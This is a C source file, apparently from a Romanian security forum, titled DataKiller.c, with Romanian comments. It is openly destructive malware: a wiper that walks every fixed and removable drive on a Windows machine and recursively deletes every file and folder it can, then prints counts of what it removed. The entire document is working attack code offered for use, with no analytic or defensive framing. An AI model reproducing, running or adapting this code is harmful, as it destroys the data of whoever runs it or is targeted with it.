/*
Name: DataKiller.c
Description: Delete all deleteable files
Author: Nytro @ Romanian Security Team
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* Marimi buffere */
#define VOLNAME_SIZE 4
#define VOLBUFFER_SIZE 1337
#define DIRBUFFER_SIZE 255
#define FILENAME_SIZE 31337
/* Contoare pentru nr. de fisiere si de foldere */
int nr_files = 0;
int nr_directories = 0;
int deleted_files = 0;
int deleted_directories = 0;
/* Functie recursiva, sterge folderele si fisierele */
void DeleteFiles(char *directory)
{
WIN32_FIND_DATA file_data;
HANDLE hFisier;
int new_file = 1;
char dir_buffer[DIRBUFFER_SIZE] = {0};
char file_name[FILENAME_SIZE] = {0};
char new_dir[DIRBUFFER_SIZE] = {0};
/* Formam sirul de caractere pentru FindFirstFile */
memset(&file_data, 0, sizeof(WIN32_FIND_DATA));
sprintf(dir_buffer, "%s*", directory);
hFisier = FindFirstFile(dir_buffer, &file_data);
/* Parcurgem folderul */
while(hFisier != INVALID_HANDLE_VALUE && new_file)
{
sprintf(file_name, "%s%s", directory, file_data.cFileName);
/* Daca e folder */
if(GetFileAttributes(file_name) & ~(FILE_ATTRIBUTE_DIRECTORY ^ 0xFFFFFFFF) && (GetFileAttributes(file_name) != (unsigned)-1))
{
sprintf(new_dir, "%s\\", file_name);
/* Evitam "." si ".." */
if(file_name[strlen(file_name) - 1] != '.')
{
nr_directories++;
DeleteFiles(new_dir);
if(RemoveDirectory(new_dir)) deleted_directories++;
}
}
/* Daca e fisier */
else
{
nr_files++;
if(DeleteFile(file_name)) deleted_files++;
}
/* Trecem la urmatorul fisier/folder */
new_file = FindNextFile(hFisier, &file_data);
}
FindClose(hFisier);
}
int main()
{
char *dir_buffer = NULL;
char **drives;
int dir_buf_size = 0, nr_drives = 0, i = 0;
/* Alocam memorie */
dir_buffer = (char *)malloc(VOLBUFFER_SIZE);
dir_buf_size = GetLogicalDriveStrings(VOLBUFFER_SIZE, dir_buffer);
nr_drives = dir_buf_size / VOLNAME_SIZE;
drives = (char **)malloc(sizeof(char *) * nr_drives);
/* Parcurgem volumele */
for(i = 0; i < dir_buf_size / VOLNAME_SIZE; i++)
{
drives[i] = (char *)malloc(VOLNAME_SIZE);
strncpy(drives[i], dir_buffer + i * VOLNAME_SIZE, VOLNAME_SIZE);
printf("Drive: %s: %d\n", drives[i], GetDriveType(drives[i]));
if(GetDriveType(drives[i]) == DRIVE_FIXED || GetDriveType(drives[i]) == DRIVE_REMOVABLE) DeleteFiles(drives[i]);
}
printf("Foldere: %d\nFisiere: %d\n", nr_directories, nr_files);
printf("Foldere sterse: %d\nFisiere sterse: %d\n", deleted_directories, deleted_files);
/* Eliberam memoria */
for(i = 0; i < nr_drives; i++) free(drives[i]);
free(drives);
free(dir_buffer);
return 0;
}